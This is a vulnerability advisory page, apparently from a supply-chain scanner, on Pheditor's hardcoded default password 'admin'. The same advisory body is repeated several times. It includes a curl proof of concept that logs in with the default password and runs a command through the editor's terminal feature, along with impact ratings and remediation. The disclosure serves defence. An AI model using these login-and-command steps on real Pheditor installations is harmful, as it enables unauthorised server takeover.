### Summary Pheditor ships with a hardcoded default password `admin` (SHA-512 hash stored at `pheditor.php:11`). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution. ### Details Tested repository: https://github.com/pheditor/pheditor Tested commit: `e538f05b6faec99e5b23726bc9c17d6b57774297` (current HEAD on `main`) Affected version: All versions of Pheditor The password is hardcoded at `pheditor.php:11`: ```php define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec'); ``` This is the SHA-512 hash of the string `admin`: ```bash echo -n 'admin' | sha512sum c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec ``` The application displays a warning banner at `pheditor.php:1956-1958` when the default password is in use, but this is only visual — there is no forced password change, no expiry, no lockout, and no setup wizard. Many deployments run with the default indefinitely. The password hash is stored as unsalted SHA-512 in the source code. The password change feature (lines 363-391) writes the new hash directly into the PHP source file, meaning anyone with read access to the source can extract it. **Combined impact:** With the default password, an unauthenticated attacker can authenticate and exploit the terminal RCE and file upload vulnerabilities for immediate server compromise. ### PoC **Environment:** Any system running Pheditor with default configuration. **Setup:** ```bash git clone https://github.com/pheditor/pheditor /tmp/pheditor-test cd /tmp/pheditor-test php -S localhost:8080 pheditor.php & ``` **Positive trigger — authenticate with default password:** ```bash curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ -d "pheditor_password=admin" -L -o /dev/null -w "%{http_code}" ``` Expected: `200` — successful authentication with the default password `admin`. **Verify full access:** ```bash TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"') curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode 'command=echo `id`' \ --data-urlencode "dir=" ``` Expected: `id` output showing web server user — proves full system access through default credentials combined with terminal RCE. **Control (wrong password):** ```bash curl -s -X POST http://localhost:8080/pheditor.php \ -d "pheditor_password=wrongpassword" | grep -o 'not correct' ``` Expected: `not correct` — authentication logic works but default password is trivially guessable. **Cleanup:** ```bash kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt ``` ### Impact Use of Hard-coded Credentials (CWE-798). The default password `admin` is publicly documented in the source code, trivially guessable, and there is no mechanism to force a password change on first login. This effectively grants unauthenticated remote attackers full administrator access to the application. **Attacker privileges:** Unauthenticated remote attacker (PR:N). **Security boundary crossed:** Unauthenticated → fully authenticated administrator. **Confidentiality impact:** High — read all files within MAIN_DIR and beyond (via terminal). **Integrity impact:** High — write/delete files, upload webshells, modify application code, execute arbitrary commands. **Availability impact:** High — delete files and directories, disrupt services. **Suggested remediation:** 1. Remove the default password — require user to set a password during installation. 2. Add a setup wizard that forces password creation on first access. 3. Add a forced password change on first login with default credentials. 4. Use `password_hash()` / `password_verify()` with `PASSWORD_BCRYPT` instead of raw SHA-512. ### Credits - Thai Son Dinh from VinSOC Labs (R&D)
### Summary Pheditor ships with a hardcoded default password `admin` (SHA-512 hash stored at `pheditor.php:11`). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution. ### Details Tested repository: https://github.com/pheditor/pheditor Tested commit: `e538f05b6faec99e5b23726bc9c17d6b57774297` (current HEAD on `main`) Affected version: All versions of Pheditor The password is hardcoded at `pheditor.php:11`: ```php define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec'); ``` This is the SHA-512 hash of the string `admin`: ```bash echo -n 'admin' | sha512sum c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec ``` The application displays a warning banner at `pheditor.php:1956-1958` when the default password is in use, but this is only visual — there is no forced password change, no expiry, no lockout, and no setup wizard. Many deployments run with the default indefinitely. The password hash is stored as unsalted SHA-512 in the source code. The password change feature (lines 363-391) writes the new hash directly into the PHP source file, meaning anyone with read access to the source can extract it. **Combined impact:** With the default password, an unauthenticated attacker can authenticate and exploit the terminal RCE and file upload vulnerabilities for immediate server compromise. ### PoC **Environment:** Any system running Pheditor with default configuration. **Setup:** ```bash git clone https://github.com/pheditor/pheditor /tmp/pheditor-test cd /tmp/pheditor-test php -S localhost:8080 pheditor.php & ``` **Positive trigger — authenticate with default password:** ```bash curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ -d "pheditor_password=admin" -L -o /dev/null -w "%{http_code}" ``` Expected: `200` — successful authentication with the default password `admin`. **Verify full access:** ```bash TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"') curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode 'command=echo `id`' \ --data-urlencode "dir=" ``` Expected: `id` output showing web server user — proves full system access through default credentials combined with terminal RCE. **Control (wrong password):** ```bash curl -s -X POST http://localhost:8080/pheditor.php \ -d "pheditor_password=wrongpassword" | grep -o 'not correct' ``` Expected: `not correct` — authentication logic works but default password is trivially guessable. **Cleanup:** ```bash kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt ``` ### Impact Use of Hard-coded Credentials (CWE-798). The default password `admin` is publicly documented in the source code, trivially guessable, and there is no mechanism to force a password change on first login. This effectively grants unauthenticated remote attackers full administrator access to the application. **Attacker privileges:** Unauthenticated remote attacker (PR:N). **Security boundary crossed:** Unauthenticated → fully authenticated administrator. **Confidentiality impact:** High — read all files within MAIN_DIR and beyond (via terminal). **Integrity impact:** High — write/delete files, upload webshells, modify application code, execute arbitrary commands. **Availability impact:** High — delete files and directories, disrupt services. **Suggested remediation:** 1. Remove the default password — require user to set a password during installation. 2. Add a setup wizard that forces password creation on first access. 3. Add a forced password change on first login with default credentials. 4. Use `password_hash()` / `password_verify()` with `PASSWORD_BCRYPT` instead of raw SHA-512. ### Credits - Thai Son Dinh from VinSOC Labs (R&D)
### Summary Pheditor ships with a hardcoded default password `admin` (SHA-512 hash stored at `pheditor.php:11`). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution. ### Details Tested repository: https://github.com/pheditor/pheditor Tested commit: `e538f05b6faec99e5b23726bc9c17d6b57774297` (current HEAD on `main`) Affected version: All versions of Pheditor The password is hardcoded at `pheditor.php:11`: ```php define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec'); ``` This is the SHA-512 hash of the string `admin`: ```bash echo -n 'admin' | sha512sum c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec ``` The application displays a warning banner at `pheditor.php:1956-1958` when the default password is in use, but this is only visual — there is no forced password change, no expiry, no lockout, and no setup wizard. Many deployments run with the default indefinitely. The password hash is stored as unsalted SHA-512 in the source code. The password change feature (lines 363-391) writes the new hash directly into the PHP source file, meaning anyone with read access to the source can extract it. **Combined impact:** With the default password, an unauthenticated attacker can authenticate and exploit the terminal RCE and file upload vulnerabilities for immediate server compromise. ### PoC **Environment:** Any system running Pheditor with default configuration. **Setup:** ```bash git clone https://github.com/pheditor/pheditor /tmp/pheditor-test cd /tmp/pheditor-test php -S localhost:8080 pheditor.php & ``` **Positive trigger — authenticate with default password:** ```bash curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ -d "pheditor_password=admin" -L -o /dev/null -w "%{http_code}" ``` Expected: `200` — successful authentication with the default password `admin`. **Verify full access:** ```bash TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"') curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode 'command=echo `id`' \ --data-urlencode "dir=" ``` Expected: `id` output showing web server user — proves full system access through default credentials combined with terminal RCE. **Control (wrong password):** ```bash curl -s -X POST http://localhost:8080/pheditor.php \ -d "pheditor_password=wrongpassword" | grep -o 'not correct' ``` Expected: `not correct` — authentication logic works but default password is trivially guessable. **Cleanup:** ```bash kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt ``` ### Impact Use of Hard-coded Credentials (CWE-798). The default password `admin` is publicly documented in the source code, trivially guessable, and there is no mechanism to force a password change on first login. This effectively grants unauthenticated remote attackers full administrator access to the application. **Attacker privileges:** Unauthenticated remote attacker (PR:N). **Security boundary crossed:** Unauthenticated → fully authenticated administrator. **Confidentiality impact:** High — read all files within MAIN_DIR and beyond (via terminal). **Integrity impact:** High — write/delete files, upload webshells, modify application code, execute arbitrary commands. **Availability impact:** High — delete files and directories, disrupt services. **Suggested remediation:** 1. Remove the default password — require user to set a password during installation. 2. Add a setup wizard that forces password creation on first access. 3. Add a forced password change on first login with default credentials. 4. Use `password_hash()` / `password_verify()` with `PASSWORD_BCRYPT` instead of raw SHA-512. ### Credits - Thai Son Dinh from VinSOC Labs (R&D)
### Summary Pheditor ships with a hardcoded default password `admin` (SHA-512 hash stored at `pheditor.php:11`). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution. ### Details Tested repository: https://github.com/pheditor/pheditor Tested commit: `e538f05b6faec99e5b23726bc9c17d6b57774297` (current HEAD on `main`) Affected version: All versions of Pheditor The password is hardcoded at `pheditor.php:11`: ```php define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec'); ``` This is the SHA-512 hash of the string `admin`: ```bash echo -n 'admin' | sha512sum c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec ``` The application displays a warning banner at `pheditor.php:1956-1958` when the default password is in use, but this is only visual — there is no forced password change, no expiry, no lockout, and no setup wizard. Many deployments run with the default indefinitely. The password hash is stored as unsalted SHA-512 in the source code. The password change feature (lines 363-391) writes the new hash directly into the PHP source file, meaning anyone with read access to the source can extract it. **Combined impact:** With the default password, an unauthenticated attacker can authenticate and exploit the terminal RCE and file upload vulnerabilities for immediate server compromise. ### PoC **Environment:** Any system running Pheditor with default configuration. **Setup:** ```bash git clone https://github.com/pheditor/pheditor /tmp/pheditor-test cd /tmp/pheditor-test php -S localhost:8080 pheditor.php & ``` **Positive trigger — authenticate with default password:** ```bash curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ -d "pheditor_password=admin" -L -o /dev/null -w "%{http_code}" ``` Expected: `200` — successful authentication with the default password `admin`. **Verify full access:** ```bash TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"') curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode 'command=echo `id`' \ --data-urlencode "dir=" ``` Expected: `id` output showing web server user — proves full system access through default credentials combined with terminal RCE. **Control (wrong password):** ```bash curl -s -X POST http://localhost:8080/pheditor.php \ -d "pheditor_password=wrongpassword" | grep -o 'not correct' ``` Expected: `not correct` — authentication logic works but default password is trivially guessable. **Cleanup:** ```bash kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt ``` ### Impact Use of Hard-coded Credentials (CWE-798). The default password `admin` is publicly documented in the source code, trivially guessable, and there is no mechanism to force a password change on first login. This effectively grants unauthenticated remote attackers full administrator access to the application. **Attacker privileges:** Unauthenticated remote attacker (PR:N). **Security boundary crossed:** Unauthenticated → fully authenticated administrator. **Confidentiality impact:** High — read all files within MAIN_DIR and beyond (via terminal). **Integrity impact:** High — write/delete files, upload webshells, modify application code, execute arbitrary commands. **Availability impact:** High — delete files and directories, disrupt services. **Suggested remediation:** 1. Remove the default password — require user to set a password during installation. 2. Add a setup wizard that forces password creation on first access. 3. Add a forced password change on first login with default credentials. 4. Use `password_hash()` / `password_verify()` with `PASSWORD_BCRYPT` instead of raw SHA-512. ### Credits - Thai Son Dinh from VinSOC Labs (R&D)
Update pheditor/pheditor to 2.0.6 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPheditor: Hardcoded default password 'admin' with no forced change enables full application compromise affects pheditor/pheditor (composer). Severity is critical. ### Summary Pheditor ships with a hardcoded default password `admin` (SHA-512 hash stored at `pheditor.php:11`). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution. ### Details Tested repository: https://github.com/pheditor/pheditor Tested commit: `e538f05b6faec99e5b23726bc9c17d6b57774297` (current HEAD on `main`) Affected version: All versions of Pheditor The password is hardcoded at `pheditor.php:11`: ```php define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec'); ``` This is the SHA-512 hash of the string `admin`: ```bash echo -n 'admin' | sha512sum c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec ``` The application displays a warning banner at `pheditor.php:1956-1958` when the default password is in use, but this is only visual — there is no forced password change, no expiry, no lockout, and no setup wizard. Many deployments run with the default indefinitely. The password hash is stored as unsalted SHA-512 in the source code. The password change feature (lines 363-391) writes the new hash directly into the PHP source file, meaning anyone with read access to the source can extract it. **Combined impact:** With the default password, an unauthenticated attacker can authenticate and exploit the terminal RCE and file upload vulnerabilities for immediate server compromise. ### PoC **Environment:** Any system running Pheditor with default configuration. **Setup:** ```bash git clone https://github.com/pheditor/pheditor /tmp/pheditor-test cd /tmp/pheditor-test php -S localhost:8080 pheditor.php & ``` **Positive trigger — authenticate with default password:** ```bash curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ -d "pheditor_password=admin" -L -o /dev/null -w "%{http_code}" ``` Expected: `200` — successful authentication with the default password `admin`. **Verify full access:** ```bash TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"') curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode 'command=echo `id`' \ --data-urlencode "dir=" ``` Expected: `id` output showing web server user — proves full system access through default credentials combined with terminal RCE. **Control (wrong password):** ```bash curl -s -X POST http://localhost:8080/pheditor.php \ -d "pheditor_password=wrongpassword" | grep -o 'not correct' ``` Expected: `not correct` — authentication logic works but default password is trivially guessable. **Cleanup:** ```bash kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt ``` ### Impact Use of Hard-coded Credentials (CWE-798). The default password `admin` is publicly documented in the source code, trivially guessable, and there is no mechanism to force a password change on first login. This effectively grants unauthenticated remote attackers full administrator access to the application. **Attacker privileges:** Unauthenticated remote attacker (PR:N). **Security boundary crossed:** Unauthenticated → fully authenticated administrator. **Confidentiality impact:** High — read all files within MAIN_DIR and beyond (via terminal). **Integrity impact:** High — write/delete files, upload webshells, modify application code, execute arbitrary commands. **Availability impact:** High — delete files and directories, disrupt services. **Suggested remediation:** 1. Remove the default password — require user to set a password during installation. 2. Add a setup wizard that forces password creation on first access. 3. Add a forced password change on first login with default credentials. 4. Use `password_hash()` / `password_verify()` with `PASSWORD_BCRYPT` instead of raw SHA-512. ### Credits - Thai Son Dinh from VinSOC Labs (R&D)
AI coding agents often install or upgrade packages automatically in composer. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| pheditor/pheditorcomposer | >=2.0.1,<2.0.6 | 2.0.6 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate pheditor/pheditor to 2.0.6 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanPheditor: Hardcoded default password 'admin' with no forced change enables full application compromise affects pheditor/pheditor (composer). Severity is critical. ### Summary Pheditor ships with a hardcoded default password `admin` (SHA-512 hash stored at `pheditor.php:11`). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution. ### Details Tested repository: https://github.com/pheditor/pheditor Tested commit: `e538f05b6faec99e5b23726bc9c17d6b57774297` (current HEAD on `main`) Affected version: All versions of Pheditor The password is hardcoded at `pheditor.php:11`: ```php define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec'); ``` This is the SHA-512 hash of the string `admin`: ```bash echo -n 'admin' | sha512sum c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec ``` The application displays a warning banner at `pheditor.php:1956-1958` when the default password is in use, but this is only visual — there is no forced password change, no expiry, no lockout, and no setup wizard. Many deployments run with the default indefinitely. The password hash is stored as unsalted SHA-512 in the source code. The password change feature (lines 363-391) writes the new hash directly into the PHP source file, meaning anyone with read access to the source can extract it. **Combined impact:** With the default password, an unauthenticated attacker can authenticate and exploit the terminal RCE and file upload vulnerabilities for immediate server compromise. ### PoC **Environment:** Any system running Pheditor with default configuration. **Setup:** ```bash git clone https://github.com/pheditor/pheditor /tmp/pheditor-test cd /tmp/pheditor-test php -S localhost:8080 pheditor.php & ``` **Positive trigger — authenticate with default password:** ```bash curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ -d "pheditor_password=admin" -L -o /dev/null -w "%{http_code}" ``` Expected: `200` — successful authentication with the default password `admin`. **Verify full access:** ```bash TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | \ grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"') curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \ --data-urlencode "action=terminal" \ --data-urlencode "token=$TOKEN" \ --data-urlencode 'command=echo `id`' \ --data-urlencode "dir=" ``` Expected: `id` output showing web server user — proves full system access through default credentials combined with terminal RCE. **Control (wrong password):** ```bash curl -s -X POST http://localhost:8080/pheditor.php \ -d "pheditor_password=wrongpassword" | grep -o 'not correct' ``` Expected: `not correct` — authentication logic works but default password is trivially guessable. **Cleanup:** ```bash kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt ``` ### Impact Use of Hard-coded Credentials (CWE-798). The default password `admin` is publicly documented in the source code, trivially guessable, and there is no mechanism to force a password change on first login. This effectively grants unauthenticated remote attackers full administrator access to the application. **Attacker privileges:** Unauthenticated remote attacker (PR:N). **Security boundary crossed:** Unauthenticated → fully authenticated administrator. **Confidentiality impact:** High — read all files within MAIN_DIR and beyond (via terminal). **Integrity impact:** High — write/delete files, upload webshells, modify application code, execute arbitrary commands. **Availability impact:** High — delete files and directories, disrupt services. **Suggested remediation:** 1. Remove the default password — require user to set a password during installation. 2. Add a setup wizard that forces password creation on first access. 3. Add a forced password change on first login with default credentials. 4. Use `password_hash()` / `password_verify()` with `PASSWORD_BCRYPT` instead of raw SHA-512. ### Credits - Thai Son Dinh from VinSOC Labs (R&D)
AI coding agents often install or upgrade packages automatically in composer. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| pheditor/pheditorcomposer | >=2.0.1,<2.0.6 | 2.0.6 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard